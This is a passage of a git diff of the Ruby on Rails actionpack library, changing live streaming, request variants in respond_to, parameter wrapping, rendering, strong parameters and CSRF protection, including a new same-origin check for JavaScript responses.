 
-      private
+      def before_sending
+        super
+        request.cookie_jar.commit!
+        headers.freeze
+      end
 
       def build_buffer(response, body)
         buf = Live::Buffer.new response
@@ -117,6 +213,7 @@ module ActionController
       t1 = Thread.current
       locals = t1.keys.map { |key| [key, t1[key]] }
 
+      error = nil
       # This processes the action in a child thread. It lets us return the
       # response code and headers back up the rack stack, and still process
       # the body in parallel with sending data to the client
@@ -131,14 +228,18 @@ module ActionController
         begin
           super(name)
         rescue => e
-          begin
-            @_response.stream.write(ActionView::Base.streaming_completion_on_exception) if request.format == :html
-            @_response.stream.call_on_error
-          rescue => exception
-            log_error(exception)
-          ensure
-            log_error(e)
-            @_response.stream.close
+          if @_response.committed?
+            begin
+              @_response.stream.write(ActionView::Base.streaming_completion_on_exception) if request.format == :html
+              @_response.stream.call_on_error
+            rescue => exception
+              log_error(exception)
+            ensure
+              log_error(e)
+              @_response.stream.close
+            end
+          else
+            error = e
           end
         ensure
           @_response.commit!
@@ -146,6 +247,7 @@ module ActionController
       }
 
       @_response.await_commit
+      raise error if error
     end
 
     def log_error(exception)
@@ -160,7 +262,7 @@ module ActionController
 
     def response_body=(body)
       super
-      response.stream.close if response
+      response.close if response
     end
 
     def set_response!(request)
diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb
index 834d44f..1974bbf 100644
--- a/actionpack/lib/action_controller/metal/mime_responds.rb
+++ b/actionpack/lib/action_controller/metal/mime_responds.rb
@@ -181,6 +181,73 @@ module ActionController #:nodoc:
     #     end
     #   end
     #
+    # Formats can have different variants.
+    #
+    # The request variant is a specialization of the request format, like <tt>:tablet</tt>,
+    # <tt>:phone</tt>, or <tt>:desktop</tt>.
+    #
+    # We often want to render different html/json/xml templates for phones,
+    # tablets, and desktop browsers. Variants make it easy.
+    #
+    # You can set the variant in a +before_action+:
+    #
+    #   request.variant = :tablet if request.user_agent =~ /iPad/
+    #
+    # Respond to variants in the action just like you respond to formats:
+    #
+    #   respond_to do |format|
+    #     format.html do |variant|
+    #       variant.tablet # renders app/views/projects/show.html+tablet.erb
+    #       variant.phone { extra_setup; render ... }
+    #       variant.none  { special_setup } # executed only if there is no variant set
+    #     end
+    #   end
+    #
+    # Provide separate templates for each format and variant:
+    #
+    #   app/views/projects/show.html.erb
+    #   app/views/projects/show.html+tablet.erb
+    #   app/views/projects/show.html+phone.erb
+    #
+    # When you're not sharing any code within the format, you can simplify defining variants
+    # using the inline syntax:
+    #
+    #   respond_to do |format|
+    #     format.js         { render "trash" }
+    #     format.html.phone { redirect_to progress_path }
+    #     format.html.none  { render "trash" }
+    #   end
+    # 
+    # Variants also support common `any`/`all` block that formats have.
+    #
+    # It works for both inline:
+    #
+    #   respond_to do |format|
+    #     format.html.any   { render text: "any"   }
+    #     format.html.phone { render text: "phone" }
+    #   end
+    #
+    # and block syntax:
+    #
+    #   respond_to do |format|
+    #     format.html do |variant|
+    #       variant.any(:tablet, :phablet){ render text: "any" }
+    #       variant.phone { render text: "phone" }
+    #     end
+    #   end
+    #
+    # You can also set an array of variants:
+    #
+    #   request.variant = [:tablet, :phone]
+    #
+    # which will work similarly to formats and MIME types negotiation. If there will be no
+    # :tablet variant declared, :phone variant will be picked:
+    #
+    #   respond_to do |format|
+    #     format.html.none
+    #     format.html.phone # this gets rendered
+    #   end
+    #
     # Be sure to check the documentation of +respond_with+ and
     # <tt>ActionController::MimeResponds.respond_to</tt> for more examples.
     def respond_to(*mimes, &block)
@@ -260,7 +327,7 @@ module ActionController #:nodoc:
     # * for other requests - i.e. data formats such as xml, json, csv etc, if
     #   the resource passed to +respond_with+ responds to <code>to_<format></code>,
     #   the method attempts to render the resource in the requested format
-    #   directly, e.g. for an xml request, the response is equivalent to calling 
+    #   directly, e.g. for an xml request, the response is equivalent to calling
     #   <code>render xml: resource</code>.
     #
     # === Nested resources
@@ -321,11 +388,14 @@ module ActionController #:nodoc:
     # 2. <tt>:action</tt> - overwrites the default render action used after an
     #    unsuccessful html +post+ request.
     def respond_with(*resources, &block)
-      raise "In order to use respond_with, first you need to declare the formats your " \
-            "controller responds to in the class level" if self.class.mimes_for_respond_to.empty?
+      if self.class.mimes_for_respond_to.empty?
+        raise "In order to use respond_with, first you need to declare the " \
+          "formats your controller responds to in the class level."
+      end
 
       if collector = retrieve_collector_from_mimes(&block)
         options = resources.size == 1 ? {} : resources.extract_options!
+        options = options.clone
         options[:default_response] = collector.response
         (options.delete(:responder) || self.class.responder).call(self, resources, options)
       end
@@ -359,14 +429,12 @@ module ActionController #:nodoc:
     # is available.
     def retrieve_collector_from_mimes(mimes=nil, &block) #:nodoc:
       mimes ||= collect_mimes_from_class_level
-      collector = Collector.new(mimes)
+      collector = Collector.new(mimes, request.variant)
       block.call(collector) if block_given?
       format = collector.negotiate_format(request)
 
       if format
-        self.content_type ||= format.to_s
-        lookup_context.formats = [format.to_sym]
-        lookup_context.rendered_format = lookup_context.formats.first
+        _process_format(format)
         collector
       else
         raise ActionController::UnknownFormat
@@ -397,11 +465,13 @@ module ActionController #:nodoc:
     # request, with this response then being accessible by calling #response.
     class Collector
       include AbstractController::Collector
-      attr_accessor :order, :format
+      attr_accessor :format
 
-      def initialize(mimes)
-        @order, @responses = [], {}
-        mimes.each { |mime| send(mime) }
+      def initialize(mimes, variant = nil)
+        @responses = {}
+        @variant = variant
+
+        mimes.each { |mime| @responses["Mime::#{mime.upcase}".constantize] = nil }
       end
 
       def any(*args, &block)
@@ -415,16 +485,62 @@ module ActionController #:nodoc:
 
       def custom(mime_type, &block)
         mime_type = Mime::Type.lookup(mime_type.to_s) unless mime_type.is_a?(Mime::Type)
-        @order << mime_type
-        @responses[mime_type] ||= block
+        @responses[mime_type] ||= if block_given?
+          block
+        else
+          VariantCollector.new(@variant)
+        end
       end
 
       def response
-        @responses.fetch(format, @responses[Mime::ALL])
+        response = @responses.fetch(format, @responses[Mime::ALL])
+        if response.is_a?(VariantCollector) # `format.html.phone` - variant inline syntax
+          response.variant
+        elsif response.nil? || response.arity == 0 # `format.html` - just a format, call its block
+          response
+        else # `format.html{ |variant| variant.phone }` - variant block syntax
+          variant_collector = VariantCollector.new(@variant)
+          response.call(variant_collector) # call format block with variants collector
+          variant_collector.variant
+        end
       end
 
       def negotiate_format(request)
-        @format = request.negotiate_mime(order)
+        @format = request.negotiate_mime(@responses.keys)
+      end
+
+      class VariantCollector #:nodoc:
+        def initialize(variant = nil)
+          @variant = variant
+          @variants = {}
+        end
+
+        def any(*args, &block)
+          if block_given?
+            if args.any? && args.none?{ |a| a == @variant }
+              args.each{ |v| @variants[v] = block }
+            else
+              @variants[:any] = block
+            end
+          end
+        end
+        alias :all :any
+
+        def method_missing(name, *args, &block)
+          @variants[name] = block if block_given?
+        end
+
+        def variant
+          if @variant.nil?
+            @variants[:none] || @variants[:any]
+          elsif (@variants.keys & @variant).any?
+            @variant.each do |v|
+              return @variants[v] if @variants.key?(v)
+            end
+          else
+            @variants[:any]
+          end
+        end
       end
     end
   end
diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb
index c9f1d8d..2ca8955 100644
--- a/actionpack/lib/action_controller/metal/params_wrapper.rb
+++ b/actionpack/lib/action_controller/metal/params_wrapper.rb
@@ -231,7 +231,12 @@ module ActionController
     # by the metal call stack.
     def process_action(*args)
       if _wrapper_enabled?
-        wrapped_hash = _wrap_parameters request.request_parameters
+        if request.parameters[_wrapper_key].present?
+          wrapped_hash = _extract_parameters(request.parameters)
+        else
+          wrapped_hash = _wrap_parameters request.request_parameters
+        end
+
         wrapped_keys = request.request_parameters.keys
         wrapped_filtered_hash = _wrap_parameters request.filtered_parameters.slice(*wrapped_keys)
 
@@ -259,14 +264,16 @@ module ActionController
 
       # Returns the list of parameters which will be selected for wrapped.
       def _wrap_parameters(parameters)
-        value = if include_only = _wrapper_options.include
+        { _wrapper_key => _extract_parameters(parameters) }
+      end
+
+      def _extract_parameters(parameters)
+        if include_only = _wrapper_options.include
           parameters.slice(*include_only)
         else
           exclude = _wrapper_options.exclude || []
           parameters.except(*(exclude + EXCLUDE_PARAMETERS))
         end
-
-        { _wrapper_key => value }
       end
 
       # Checks if we should perform parameters wrapping.
diff --git a/actionpack/lib/action_controller/metal/rack_delegation.rb b/actionpack/lib/action_controller/metal/rack_delegation.rb
index bdf6e88..6921834 100644
--- a/actionpack/lib/action_controller/metal/rack_delegation.rb
+++ b/actionpack/lib/action_controller/metal/rack_delegation.rb
@@ -6,7 +6,7 @@ module ActionController
     extend ActiveSupport::Concern
 
     delegate :headers, :status=, :location=, :content_type=,
-             :status, :location, :content_type, :to => "@_response"
+             :status, :location, :content_type, :_status_code, :to => "@_response"
 
     def dispatch(action, request)
       set_response!(request)
diff --git a/actionpack/lib/action_controller/metal/redirecting.rb b/actionpack/lib/action_controller/metal/redirecting.rb
index e9031f3..2812038 100644
--- a/actionpack/lib/action_controller/metal/redirecting.rb
+++ b/actionpack/lib/action_controller/metal/redirecting.rb
@@ -58,7 +58,7 @@ module ActionController
     #   redirect_to post_url(@post), alert: "Watch it, mister!"
     #   redirect_to post_url(@post), status: :found, notice: "Pay attention to the road"
     #   redirect_to post_url(@post), status: 301, flash: { updated_post_id: @post.id }
-    #   redirect_to { action: 'atom' }, alert: "Something serious happened"
+    #   redirect_to({ action: 'atom' }, alert: "Something serious happened")
     #
     # When using <tt>redirect_to :back</tt>, if there is no referrer, ActionController::RedirectBackError will be raised. You may specify some fallback
     # behavior for this case by rescuing ActionController::RedirectBackError.
@@ -71,6 +71,26 @@ module ActionController
       self.response_body = "<html><body>You are being <a href=\"#{ERB::Util.h(location)}\">redirected</a>.</body></html>"
     end
 
+    def _compute_redirect_to_location(options) #:nodoc:
+      case options
+      # The scheme name consist of a letter followed by any combination of
+      # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
+      # characters; and is terminated by a colon (":").
+      # See http://tools.ietf.org/html/rfc3986#section-3.1
+      # The protocol relative scheme starts with a double slash "//".
+      when /\A([a-z][a-z\d\-+\.]*:|\/\/).*/i
+        options
+      when String
+        request.protocol + request.host_with_port + options
+      when :back
+        request.headers["Referer"] or raise RedirectBackError
+      when Proc
+        _compute_redirect_to_location options.call
+      else
+        url_for(options)
+      end.delete("\0\r\n")
+    end
+
     private
       def _extract_redirect_to_status(options, response_status)
         if options.is_a?(Hash) && options.key?(:status)
@@ -81,24 +101,5 @@ module ActionController
           302
         end
       end
-
-      def _compute_redirect_to_location(options)
-        case options
-        # The scheme name consist of a letter followed by any combination of
-        # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
-        # characters; and is terminated by a colon (":").
-        # The protocol relative scheme starts with a double slash "//"
-        when %r{\A(\w[\w+.-]*:|//).*}
-          options
-        when String
-          request.protocol + request.host_with_port + options
-        when :back
-          request.headers["Referer"] or raise RedirectBackError
-        when Proc
-          _compute_redirect_to_location options.call
-        else
-          url_for(options)
-        end.delete("\0\r\n")
-      end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/renderers.rb b/actionpack/lib/action_controller/metal/renderers.rb
index 5272dc6..6c7b465 100644
--- a/actionpack/lib/action_controller/metal/renderers.rb
+++ b/actionpack/lib/action_controller/metal/renderers.rb
@@ -6,6 +6,12 @@ module ActionController
     Renderers.add(key, &block)
   end
 
+  class MissingRenderer < LoadError
+    def initialize(format)
+      super "No renderer defined for format: #{format}"
+    end
+  end
+
   module Renderers
     extend ActiveSupport::Concern
 
@@ -37,7 +43,7 @@ module ActionController
     end
 
     # Hash of available renderers, mapping a renderer name to its proc.
-    # Default keys are :json, :js, :xml.
+    # Default keys are <tt>:json</tt>, <tt>:js</tt>, <tt>:xml</tt>.
     RENDERERS = Set.new
 
     # Adds a new renderer to call within controller actions.
diff --git a/actionpack/lib/action_controller/metal/rendering.rb b/actionpack/lib/action_controller/metal/rendering.rb
index bea6b88..93e7d69 100644
--- a/actionpack/lib/action_controller/metal/rendering.rb
+++ b/actionpack/lib/action_controller/metal/rendering.rb
@@ -2,7 +2,7 @@ module ActionController
   module Rendering
     extend ActiveSupport::Concern
 
-    include AbstractController::Rendering
+    RENDER_FORMATS_IN_PRIORITY = [:body, :text, :plain, :html]
 
     # Before processing, set the request formats in current controller formats.
     def process_action(*) #:nodoc:
@@ -12,29 +12,46 @@ module ActionController
 
     # Check for double render errors and set the content_type after rendering.
     def render(*args) #:nodoc:
-      raise ::AbstractController::DoubleRenderError if response_body
+      raise ::AbstractController::DoubleRenderError if self.response_body
       super
-      self.content_type ||= Mime[lookup_context.rendered_format].to_s
-      response_body
     end
 
     # Overwrite render_to_string because body can now be set to a rack body.
     def render_to_string(*)
-      if self.response_body = super
+      result = super
+      if result.respond_to?(:each)
         string = ""
-        response_body.each { |r| string << r }
+        result.each { |r| string << r }
         string
+      else
+        result
       end
-    ensure
-      self.response_body = nil
     end
 
-    def render_to_body(*)
-      super || " "
+    def render_to_body(options = {})
+      super || _render_in_priorities(options) || ' '
     end
 
     private
 
+    def _render_in_priorities(options)
+      RENDER_FORMATS_IN_PRIORITY.each do |format|
+        return options[format] if options.key?(format)
+      end
+
+      nil
+    end
+
+    def _process_format(format, options = {})
+      super
+
+      if options[:plain]
+        self.content_type = Mime::TEXT
+      else
+        self.content_type ||= format.to_s
+      end
+    end
+
     # Normalize arguments by catching blocks and setting them on :update.
     def _normalize_args(action=nil, options={}, &blk) #:nodoc:
       options = super
@@ -44,12 +61,14 @@ module ActionController
 
     # Normalize both text and status options.
     def _normalize_options(options) #:nodoc:
-      if options.key?(:text) && options[:text].respond_to?(:to_text)
-        options[:text] = options[:text].to_text
+      _normalize_text(options)
+
+      if options[:html]
+        options[:html] = ERB::Util.html_escape(options[:html])
       end
 
-      if options.delete(:nothing) || (options.key?(:text) && options[:text].nil?)
-        options[:text] = " "
+      if options.delete(:nothing) || _any_render_format_is_nil?(options)
+        options[:body] = " "
       end
 
       if options[:status]
@@ -59,6 +78,18 @@ module ActionController
       super
     end
 
+    def _normalize_text(options)
+      RENDER_FORMATS_IN_PRIORITY.each do |format|
+        if options.key?(format) && options[format].respond_to?(:to_text)
+          options[format] = options[format].to_text
+        end
+      end
+    end
+
+    def _any_render_format_is_nil?(options)
+      RENDER_FORMATS_IN_PRIORITY.any? { |format| options.key?(format) && options[format].nil? }
+    end
+
     # Process controller specific options, as status, content-type and location.
     def _process_options(options) #:nodoc:
       status, content_type, location = options.values_at(:status, :content_type, :location)
diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
index d275a85..c88074d 100644
--- a/actionpack/lib/action_controller/metal/request_forgery_protection.rb
+++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -5,14 +5,24 @@ module ActionController #:nodoc:
   class InvalidAuthenticityToken < ActionControllerError #:nodoc:
   end
 
+  class InvalidCrossOriginRequest < ActionControllerError #:nodoc:
+  end
+
   # Controller actions are protected from Cross-Site Request Forgery (CSRF) attacks
   # by including a token in the rendered html for your application. This token is
   # stored as a random string in the session, to which an attacker does not have
   # access. When a request reaches your application, \Rails verifies the received
   # token with the token in the session. Only HTML and JavaScript requests are checked,
   # so this will not protect your XML API (presumably you'll have a different
-  # authentication scheme there anyway). Also, GET requests are not protected as these
-  # should be idempotent.
+  # authentication scheme there anyway).
+  #
+  # GET requests are not protected since they don't have side effects like writing
+  # to the database and don't leak sensitive information. JavaScript requests are
+  # an exception: a third-party site can use a <script> tag to reference a JavaScript
+  # URL on your site. When your JavaScript response loads on their site, it executes.
+  # With carefully crafted JavaScript on their end, sensitive data in your JavaScript
+  # response may be extracted. To prevent this, only XmlHttpRequest (known as XHR or
+  # Ajax) requests are allowed to make GET requests for JavaScript responses.
   #
   # It's important to remember that XML or JSON requests are also affected and if
   # you're building an API you'll need something like:
@@ -65,17 +75,16 @@ module ActionController #:nodoc:
     module ClassMethods
       # Turn on request forgery protection. Bear in mind that only non-GET, HTML/JavaScript requests are checked.
       #
+      #   class ApplicationController < ActionController::Base
+      #     protect_from_forgery
+      #   end
+      #
       #   class FooController < ApplicationController
       #     protect_from_forgery except: :index
       #
-      # You can disable csrf protection on controller-by-controller basis:
-      #
+      # You can disable CSRF protection on controller by skipping the verification before_action:
       #   skip_before_action :verify_authenticity_token
       #
-      # It can also be disabled for specific controller actions:
-      #
-      #   skip_before_action :verify_authenticity_token, except: [:create]
-      #
       # Valid Options:
       #
       # * <tt>:only/:except</tt> - Passed to the <tt>before_action</tt> call. Set which actions are verified.
@@ -89,6 +98,7 @@ module ActionController #:nodoc:
         self.forgery_protection_strategy = protection_method_class(options[:with] || :null_session)
         self.request_forgery_protection_token ||= :authenticity_token
         prepend_before_action :verify_authenticity_token, options
+        append_after_action :verify_same_origin_request
       end
 
       private
@@ -124,6 +134,9 @@ module ActionController #:nodoc:
             @loaded = true
           end
 
+          # no-op
+          def destroy; end
+
           def exists?
             true
           end
@@ -166,18 +179,61 @@ module ActionController #:nodoc:
     end
 
     protected
+      # The actual before_action that is used to verify the CSRF token.
+      # Don't override this directly. Provide your own forgery protection
+      # strategy instead. If you override, you'll disable same-origin
+      # `<script>` verification.
+      #
+      # Lean on the protect_from_forgery declaration to mark which actions are
+      # due for same-origin request verification. If protect_from_forgery is
+      # enabled on an action, this before_action flags its after_action to
+      # verify that JavaScript responses are for XHR requests, ensuring they
+      # follow the browser's same-origin policy.
+      def verify_authenticity_token
+        mark_for_same_origin_verification!
+
+        if !verified_request?
+          logger.warn "Can't verify CSRF token authenticity" if logger
+          handle_unverified_request
+        end
+      end
+
       def handle_unverified_request
         forgery_protection_strategy.new(self).handle_unverified_request
       end
 
-      # The actual before_action that is used. Modify this to change how you handle unverified requests.
-      def verify_authenticity_token
-        unless verified_request?
-          logger.warn "Can't verify CSRF token authenticity" if logger
-          handle_unverified_request
+      CROSS_ORIGIN_JAVASCRIPT_WARNING = "Security warning: an embedded " \
+        "<script> tag on another site requested protected JavaScript. " \
+        "If you know what you're doing, go ahead and disable forgery " \
+        "protection on this action to permit cross-origin JavaScript embedding."
+      private_constant :CROSS_ORIGIN_JAVASCRIPT_WARNING
+
+      # If `verify_authenticity_token` was run (indicating that we have
+      # forgery protection enabled for this request) then also verify that
+      # we aren't serving an unauthorized cross-origin response.
+      def verify_same_origin_request
+        if marked_for_same_origin_verification? && non_xhr_javascript_response?
+          logger.warn CROSS_ORIGIN_JAVASCRIPT_WARNING if logger
+          raise ActionController::InvalidCrossOriginRequest, CROSS_ORIGIN_JAVASCRIPT_WARNING
         end
       end
 
+      # GET requests are checked for cross-origin JavaScript after rendering.
+      def mark_for_same_origin_verification!
+        @marked_for_same_origin_verification = request.get?
+      end
+
+      # If the `verify_authenticity_token` before_action ran, verify that
+      # JavaScript responses are only served to same-origin GET requests.
+      def marked_for_same_origin_verification?
+        @marked_for_same_origin_verification ||= false
+      end
+
+      # Check for cross-origin JavaScript responses.
+      def non_xhr_javascript_response?
+        content_type =~ %r(\Atext/javascript) && !request.xhr?
+      end
+
       # Returns true or false if a request is verified. Checks:
       #
       # * is it a GET or HEAD request?  Gets should be safe and idempotent
@@ -199,6 +255,7 @@ module ActionController #:nodoc:
         params[request_forgery_protection_token]
       end
 
+      # Checks if the controller allows forgery protection.
       def protect_against_forgery?
         allow_forgery_protection
       end
diff --git a/actionpack/lib/action_controller/metal/responder.rb b/actionpack/lib/action_controller/metal/responder.rb
index 8918199..e24b56f 100644
--- a/actionpack/lib/action_controller/metal/responder.rb
+++ b/actionpack/lib/action_controller/metal/responder.rb
@@ -97,8 +97,12 @@ module ActionController #:nodoc:
   #
   # This will return status 201 if the task was saved successfully. If not,
   # it will simply ignore the given options and return status 422 and the
-  # resource errors. To customize the failure scenario, you can pass a
-  # a block to <code>respond_with</code>:
+  # resource errors. You can also override the location to redirect to:
+  #
+  #   respond_with(@project, location: root_path)
+  #
+  # To customize the failure scenario, you can pass a block to
+  # <code>respond_with</code>:
   #
   #   def create
   #     @project = Project.find(params[:project_id])
@@ -140,7 +144,7 @@ module ActionController #:nodoc:
     undef_method(:to_json) if method_defined?(:to_json)
     undef_method(:to_yaml) if method_defined?(:to_yaml)
 
-    # Initializes a new responder an invoke the proper format. If the format is
+    # Initializes a new responder and invokes the proper format. If the format is
     # not defined, call to_format.
     #
     def self.call(*args)
@@ -198,6 +202,7 @@ module ActionController #:nodoc:
     # This is the common behavior for formats associated with APIs, such as :xml and :json.
     def api_behavior(error)
       raise error unless resourceful?
+      raise MissingRenderer.new(format) unless has_renderer?
 
       if get?
         display resource
@@ -265,6 +270,11 @@ module ActionController #:nodoc:
       resource.respond_to?(:errors) && !resource.errors.empty?
     end
 
+    # Check whether the necessary Renderer is available
+    def has_renderer?
+      Renderers::RENDERERS.include?(format)
+    end
+
     # By default, render the <code>:edit</code> action for HTML requests with errors, unless
     # the verb was POST.
     #
diff --git a/actionpack/lib/action_controller/metal/streaming.rb b/actionpack/lib/action_controller/metal/streaming.rb
index 73e9b56..62d5931 100644
--- a/actionpack/lib/action_controller/metal/streaming.rb
+++ b/actionpack/lib/action_controller/metal/streaming.rb
@@ -193,31 +193,29 @@ module ActionController #:nodoc:
   module Streaming
     extend ActiveSupport::Concern
 
-    include AbstractController::Rendering
-
     protected
 
-    # Set proper cache control and transfer encoding when streaming
-    def _process_options(options) #:nodoc:
-      super
-      if options[:stream]
-        if env["HTTP_VERSION"] == "HTTP/1.0"
-          options.delete(:stream)
-        else
-          headers["Cache-Control"] ||= "no-cache"
-          headers["Transfer-Encoding"] = "chunked"
-          headers.delete("Content-Length")
+      # Set proper cache control and transfer encoding when streaming
+      def _process_options(options) #:nodoc:
+        super
+        if options[:stream]
+          if env["HTTP_VERSION"] == "HTTP/1.0"
+            options.delete(:stream)
+          else
+            headers["Cache-Control"] ||= "no-cache"
+            headers["Transfer-Encoding"] = "chunked"
+            headers.delete("Content-Length")
+          end
         end
       end
-    end
 
-    # Call render_body if we are streaming instead of usual +render+.
-    def _render_template(options) #:nodoc:
-      if options.delete(:stream)
-        Rack::Chunked::Body.new view_renderer.render_body(view_context, options)
-      else
-        super
+      # Call render_body if we are streaming instead of usual +render+.
+      def _render_template(options) #:nodoc:
+        if options.delete(:stream)
+          Rack::Chunked::Body.new view_renderer.render_body(view_context, options)
+        else
+          super
+        end
       end
-    end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/strong_parameters.rb b/actionpack/lib/action_controller/metal/strong_parameters.rb
index a189357..0380f0c 100644
--- a/actionpack/lib/action_controller/metal/strong_parameters.rb
+++ b/actionpack/lib/action_controller/metal/strong_parameters.rb
@@ -3,6 +3,7 @@ require 'active_support/core_ext/array/wrap'
 require 'active_support/rescuable'
 require 'action_dispatch/http/upload'
 require 'stringio'
+require 'set'
 
 module ActionController
   # Raised when a required parameter is missing.
@@ -17,7 +18,7 @@ module ActionController
 
     def initialize(param) # :nodoc:
       @param = param
-      super("param not found: #{param}")
+      super("param is missing or the value is empty: #{param}")
     end
   end
 
@@ -125,6 +126,13 @@ module ActionController
       @permitted = self.class.permit_all_parameters
     end
 
+    # Attribute that keeps track of converted arrays, if any, to avoid double
+    # looping in the common use case permit + mass-assignment. Defined in a
+    # method to instantiate it only if needed.
+    def converted_arrays
+      @converted_arrays ||= Set.new
+    end
+
     # Returns +true+ if the parameter is permitted, +false+ otherwise.
     #
     #   params = ActionController::Parameters.new
@@ -149,8 +157,10 @@ module ActionController
     #   Person.new(params) # => #<Person id: nil, name: "Francesco">
     def permit!
       each_pair do |key, value|
-        convert_hashes_to_parameters(key, value)
-        self[key].permit! if self[key].respond_to? :permit!
+        value = convert_hashes_to_parameters(key, value)
+        Array.wrap(value).each do |_|
+          _.permit! if _.respond_to? :permit!
+        end
       end
 
       @permitted = true
@@ -284,7 +294,7 @@ module ActionController
     #   params.fetch(:none, 'Francesco')    # => "Francesco"
     #   params.fetch(:none) { 'Francesco' } # => "Francesco"
     def fetch(key, *args)
-      convert_hashes_to_parameters(key, super)
+      convert_hashes_to_parameters(key, super, false)
     rescue KeyError
       raise ActionController::ParameterMissing.new(key)
     end
@@ -298,7 +308,7 @@ module ActionController
     #   params.slice(:d)     # => {}
     def slice(*keys)
       self.class.new(super).tap do |new_instance|
-        new_instance.instance_variable_set :@permitted, @permitted
+        new_instance.permitted = @permitted
       end
     end
 
@@ -312,17 +322,31 @@ module ActionController
     #   copy_params.permitted?   # => true
     def dup
       super.tap do |duplicate|
-        duplicate.instance_variable_set :@permitted, @permitted
+        duplicate.permitted = @permitted
       end
     end
 
+    protected
+      def permitted=(new_permitted)
+        @permitted = new_permitted
+      end
+
     private
-      def convert_hashes_to_parameters(key, value)
-        if value.is_a?(Parameters) || !value.is_a?(Hash)
+      def convert_hashes_to_parameters(key, value, assign_if_converted=true)
+        converted = convert_value_to_parameters(value)
+        self[key] = converted if assign_if_converted && !converted.equal?(value)
+        converted
+      end
+
+      def convert_value_to_parameters(value)
+        if value.is_a?(Array) && !converted_arrays.member?(value)
+          converted = value.map { |_| convert_value_to_parameters(_) }
+          converted_arrays << converted
+          converted
+        elsif value.is_a?(Parameters) || !value.is_a?(Hash)
           value
         else
-          # Convert to Parameters on first access
-          self[key] = self.class.new(value)
+          self.class.new(value)
         end
       end
 
@@ -478,7 +502,7 @@ module ActionController
   #       end
   #   end
   #
-  # In order to use <tt>accepts_nested_attribute_for</tt> with Strong \Parameters, you
+  # In order to use <tt>accepts_nested_attributes_for</tt> with Strong \Parameters, you
   # will need to specify which nested attributes should be whitelisted.
   #
   #   class Person
diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb
index 0377b8c..dd8da4b 100644
--- a/actionpack/lib/action_controller/metal/testing.rb
+++ b/actionpack/lib/action_controller/metal/testing.rb
@@ -17,7 +17,6 @@ module ActionController
 
       def recycle!
         @_url_options = nil
-        self.response_body = nil
         self.formats = nil
         self.params = nil
       end
diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb
index 5379547..a2fc814 100644
--- a/actionpack/lib/action_controller/railtie.rb
+++ b/actionpack/lib/action_controller/railtie.rb
@@ -1,9 +1,9 @@
 require "rails"
 require "action_controller"
 require "action_dispatch/railtie"
-require "action_view/railtie"
 require "abstract_controller/railties/routes_helpers"
 require "action_controller/railties/helpers"
+require "action_view/railtie"
 
 module ActionController
   class Railtie < Rails::Railtie #:nodoc:
diff --git a/actionpack/lib/action_controller/record_identifier.rb b/actionpack/lib/action_controller/record_identifier.rb
deleted file mode 100644
index d598bac..0000000
--- a/actionpack/lib/action_controller/record_identifier.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-require 'action_view/record_identifier'
-
-module ActionController
-  module RecordIdentifier
-    MODULE_MESSAGE = 'Calling ActionController::RecordIdentifier.%s is deprecated and ' \
-      'will be removed in Rails 4.1, please call using ActionView::RecordIdentifier instead.'
-    INSTANCE_MESSAGE = '%s method will no longer be included by default in controllers ' \
-      'since Rails 4.1. If you would like to use it in controllers, please include ' \
-      'ActionView::RecordIdentifier module.'
-
-    def dom_id(record, prefix = nil)
-      ActiveSupport::Deprecation.warn(INSTANCE_MESSAGE % 'dom_id')
-      ActionView::RecordIdentifier.dom_id(record, prefix)
-    end
-
-    def dom_class(record, prefix = nil)
-      ActiveSupport::Deprecation.warn(INSTANCE_MESSAGE % 'dom_class')
-      ActionView::RecordIdentifier.dom_class(record, prefix)
-    end
-
-    def self.dom_id(record, prefix = nil)
-      ActiveSupport::Deprecation.warn(MODULE_MESSAGE % 'dom_id')
-      ActionView::RecordIdentifier.dom_id(record, prefix)
-    end
-
-    def self.dom_class(record, prefix = nil)
-      ActiveSupport::Deprecation.warn(MODULE_MESSAGE % 'dom_class')
-      ActionView::RecordIdentifier.dom_class(record, prefix)
-    end
-  end
-end
diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb
index 0cbbbbe..e9166d8 100644
--- a/actionpack/lib/action_controller/test_case.rb
+++ b/actionpack/lib/action_controller/test_case.rb
@@ -213,6 +213,9 @@ module ActionController
       # Clear the combined params hash in case it was already referenced.
       @env.delete("action_dispatch.request.parameters")
 
+      # Clear the filter cache variables so they're not stale
+      @filtered_parameters = @filtered_env = @filtered_path = nil
+
       params = self.request_parameters.dup
       %w(controller action only_path).each do |k|
         params.delete(k)
@@ -255,6 +258,29 @@ module ActionController
     end
   end
 
+  class LiveTestResponse < Live::Response
+    def recycle!
+      @body = nil
+      initialize
+    end
+
+    def body
+      @body ||= super
+    end
+
+    # Was the response successful?
+    alias_method :success?, :successful?
+
+    # Was the URL not found?
+    alias_method :missing?, :not_found?
+
+    # Were we redirected?
+    alias_method :redirect?, :redirection?
+
+    # Was there a server-side error?
+    alias_method :error?, :server_error?
+  end
+
   # Methods #destroy and #load! are overridden to avoid calling methods on the
   # @store object, which does not exist for the TestSession class.
   class TestSession < Rack::Session::Abstract::SessionHash #:nodoc:
@@ -524,7 +550,6 @@ module ActionController
 
       def process(action, http_method = 'GET', *args)
         check_required_ivars
-        http_method, args = handle_old_process_api(http_method, args, caller)
 
         if args.first.is_a?(String) && http_method != 'HEAD'
           @request.env['RAW_POST_DATA'] = args.shift
@@ -566,10 +591,13 @@ module ActionController
 
         name = @request.parameters[:action]
 
+        @controller.recycle!
         @controller.process(name)
 
         if cookies = @request.env['action_dispatch.cookies']
-          cookies.write(@response)
+          unless @response.committed?
+            cookies.write(@response)
+          end
         end
         @response.prepare!
 
@@ -580,13 +608,14 @@ module ActionController
       end
 
       def setup_controller_request_and_response
-        @request          = build_request
-        @response         = build_response
-        @response.request = @request
-
         @controller = nil unless defined? @controller
 
+        response_klass = TestResponse
+
         if klass = self.class.controller_class
